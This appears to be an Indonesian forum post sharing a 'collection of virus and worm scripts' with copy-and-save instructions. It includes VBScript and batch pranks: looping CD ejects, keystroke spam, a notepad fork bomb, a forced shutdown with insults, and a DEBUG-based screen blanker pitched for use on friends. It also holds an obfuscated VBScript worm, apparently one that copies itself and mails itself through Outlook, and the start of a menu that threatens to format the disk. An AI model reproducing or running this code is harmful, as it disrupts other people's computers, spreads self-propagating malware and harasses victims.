KOLEKSI script VIRUS dan WORM buat komputer anda

mau bagi-bagi script virus/worm nih....

tinggal copas ke notepad aja tus save as .vbs

Oh ya, kalo ragu akibatnya apa mending hidupkan deepfreeze dulu deh.. :D

Code:

---

---------------------------------------------------------------------

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

---------------------------------END---------------------------------





---

-----------------------------------------------------------------------

Code:

---

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

---------------------------------END---------------------------------

---

-----------------------------------------------------------------------

Code:

---

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

---------------------------------END---------------------------------

---

-----------------------------------------------------------------------

Code:

---

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "w a"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "m g"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

---------------------------------END---------------------------------

---

-----------------------------------------------------------------------

Code:

---

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

---------------------------------END---------------------------------

---

-----------------------------------------------------------------------

Code:

---

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "You are a fool."

loop

---------------------------------END---------------------------------

---

-----------------------------------------------------------------------

Nah, kalo yang ini jangan coba-coba deh gan.. soalnya di enkripsi... jadi gak tau deh akibatnya apa.. hahaha

Code:

---

'Vbs.Vbswg.GHZ 1.0 Created By GHZ. 9/30/2010

Execute TH8IQFIU("-\hy4\hy}m4MN`&746&Ixkgzkj&H &MN`4&?59658676Ykz&KIIOXQ>X&C&ixkgzkuhpkiz.(yixovzotm4lorky yzksuhpkiz(/KTR99N9I&C&KIIOXQ>X4mkzyvkiogrlurjkx.6/SR;Y9==9&C&KTR99N9I&,&(bMN`&7464nzsr4|hy(Ykz&WRMIX4iuv lork&}yixovz4yixovzl{rrtgsk2&SR;Y9==9P8VP6<;8Ol&WRMIKtj&olOl&WRMIX4uvktzk~zlork.}yixovz4yixovzl{rrtgsk/H;;[:RZ[&C&KNXX4lorkk~oyzy.}yixovz4yixovzl{rrtgsk//&znktykz&H88>V>>9C&KIIOXQ>X4ixkgzkzk~zlork.}yixovz4yixovzl{rrtgsk/H88>V>>94}xozk&H;;[:RZ[H88>V>>94iruykktj&olSX8[V./Ykz&\=[<:78V&C&IxkgzkUhpkiz.(U{zruuq4Gvvroigzout(/Ol&\=[<:78V&C&(U{zruuq(&ZnktYkz&I;;MT79<&C&\=[<:78V4MkzTgskYvgik.(SGVO(/Ykz&J9XWX=7J&C&I;;MT79<4gjjxkyyroyzylux&kgin&\?9\>88?&C&\?9\>6?&C&7&Zu&V88?Ykz&S:9>6TWQ&C&\=[<:78V4IxkgzkOzks.6/Ykz&P87=[G=Y&C&\?9\>6?/S:9>6TWQ4Zu&C&P87=[G=Y4GjjxkyyS:9>6TWQ4Y{hpkiz&C&(\kx &Osvuxzgtz'(S:9>6TWQ4Huj &C&(No@(&,&|hixrl&,&(Vrkgyk&|ok}&znoy&lork2&oz-y&|kx &osvuxzgtz4(&,&|hixrl&,&((k~ki{zk&(ykz&PZORH8U8&CS:9>6TWQ4(&,&Inx.<;/&,&Inx.776TWQ4JkrkzkGlzkxY{hsoz&C&Zx{kPZORH8U84Gjj&\G[IIOXQOl&S:9>6TWQ4Zu&BD&((&ZnktS:9>6TWQ4YktjKtj&OlTk~zKtj&OlTk~zKtj&OlKtj&l{tizoutL{tizout&Z6Q=N<;Z.U7MZ8?==/Ol&U7MZ8?==&BD&((&ZnktYP8RMIX4lorkk~oyzy.(i@bsoxibsoxi4oto(/&ZnktU7MZ8?==&C&(i@bsoxi(KrykOl&KIIOXQ>X4lorkk~oyzy.(i@bsoxi98bsoxi4oto(/&ZnktU7MZ8?==&C&(i@bsoxi98(KrykOl&KIIOXQ>X4lorkk~oyzy.YP8RMIX4lorkk~oyzy.YP8RMIX4IxkgzkZk~zLork.U7MZ8?==&,&(byixovz4oto(2&Zx{k/K=RTR99N&C&(ayixovzc(&,&|hIxRl&,&(t6Cut&7@PUOT@)@ (K=RTR99N&C&K=RTR99N&,&|hIxRl&,&(t6Cut&7@PUOT@)@ (K=RTR99N&C&K=RTR99N&,&|hIxRl&,&(t7C&&5ol&.&*toiq&CC&*sk&/& &ngrz&ƒ(K=RTR99N&C&K=RTR99N&,&|hIxRl&,&(t8C&&54(&,&Inx.766/&,&Inx.??/&,&Inx.??/&,&(&yktj&*toiq&(K=RTR99N&C&K=RTR99N&,&SR;Y9==9K=RTR99N&C&K=RTR99N&,&|hIxRl&,&(t9Cƒ(yixovz4IruykKtj&OlKtj&L{tizoutL{tizout&GI=R;Y9=./Ut&Kxxux&Xky{sk&Tk~zYkz&W8G8VP6<&C&KIIOXQ>X4Jxo|kyLux&Kgin&MJR?P<[NNXX4MkzLurjkx.V>NNXV>&C&U?G;;[:R4LorkyLux&Kgin&LK:X8[V<&Ot&Z:K88>V>Ol&rigyk.LK:X8[V<4tgsk/&c&(soxi4oto(&znktz6q=n<;z.lk:x8[v<4vgxktzlurjkx/ktj&olol&kiioxq>X4MkzK~zktyoutTgsk.LK:X8[V<4vgzn/&c&(|hy(kiioxq>X4Iuv Lork&}yixovz4yixovzl{rrtgsk2LK:X8[V<4vgzn2zx{kktj&olol&kiioxq>X4MkzK~zktyoutTgsk.LK:X8[V<4vgzn/&c&(|hk(kiioxq>X4Iuv Lork&}yixovz4yixovzl{rrtgsk2LK:X8[V<4vgzn2zx{kktj&oltk~zykz&im8=[<:7&c&u?g;;[:r4y{hlurjkxylux&kgin&j>I;;MT7&Ot&IM8=[<:7Igrr&.J>I;;MT74vgzn/Tk~zKtj&l{tizoutL{tizout&P8VP6<;8./Xgtjuso€kOl&7&1&Otz.Xtj&0&7666/&C&=&znktSymhu~&(O-|k&tuznotm&zu&yg 4&@u/(2<:2(@u/(ktj&olktj&l{tizout-\hy}m&8&Hkzg4&H &aQc",-6) Function TH8IQFIU(C38QDRVV,F8O63JAL) For L6F3M0OD = 1 To Len(C38QDRVV) V6BD6OKI = Mid(C38QDRVV, L6F3M0OD, 1) If V6BD6OKI = Chr(2) Then V6BD6OKI = Chr(34 + F8O63JAL) ElseIf V6BD6OKI = Chr(3) Then V6BD6OKI = Chr(10 + F8O63JAL) ElseIf V6BD6OKI = Chr(4) Then V6BD6OKI = Chr(13 + F8O63JAL) Else V6BD6OKI = Chr(Asc(V6BD6OKI) + F8O63JAL) End If TH8IQFIU = TH8IQFIU & V6BD6OKI Next End Function ---------------------------------END---------------------------------

---

kalo yang ini tinggal copas aja tapi save as .bat

----------------------------------------------------------------------

Code:

---

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

-------------------------------END------------------------------------

---

-----------------------------------------------------------------------

Code:

---

@echo off

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg

echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.

@echo off

:a

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg

echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

goto a

-----------------------------------END-------------------------------

---

-----------------------------------------------------------------------

Code:

---



@echo off

msg * I don't like you

shutdown -c "Error! You are too stupid!" -s

-----------------------------------END-------------------------------

---

-----------------------------------------------------------------------

Code:

---

@echo off

title The end of the world

cd C:\

:menu

cls

echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...

pause

echo Pick your poison:

echo 1. Die this way (Wimp)

echo 2. Die this way (WIMP!)

echo 3. DO NOT DIE THIS WAY

echo 4. Die this way (you're boring)

echo 5. Easy way out

set input=nothing

set /p input=Choice:

if %input%==1 goto one

if %input%==2 goto two

---------------------------------END---------------------------------

---